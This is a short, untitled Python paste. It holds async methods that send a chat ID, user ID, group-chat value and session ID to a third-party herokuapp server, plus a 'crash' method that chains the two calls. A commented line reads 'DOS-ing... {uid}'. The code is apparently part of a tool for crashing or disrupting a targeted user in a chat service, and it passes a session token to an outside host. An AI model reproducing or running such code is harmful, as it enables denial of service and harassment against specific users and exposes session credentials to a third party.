Untitled
unknown
python
2 years ago
1.4 kB
4
Indexable
Never
async def delex(self,uid): data={"cid":self.cid,"uid":uid,"hostgc":self.hostgc,"sid":self.sid} data=json.dumps(data) async with self.session.post( f"https://hellonn5.herokuapp.com/del",data=data) as l: if l.status == 200: response = json.loads(await l.json()) #print("kkkk") print({response['api:message']}) else: print("ddhfhf") async def setx(self,uid): data = json.dumps({ "uid": uid, "cid": self.cid, "hostgc":self.hostgc, "sid":self.sid, "list":"0" }) async with self.session.post( f"https://hellonn5.herokuapp.com/set", data=data) as j: if j.status== 200: response = json.loads(await j.json()) print(response["api:message"]) else: pass async def crash(self, uid): try: await self.setx(uid) await self.delex(uid) #print(f"DOS-ing... {uid}") except Exception as e: print(f"errghhhhor {e}") #restart() #sys.exit()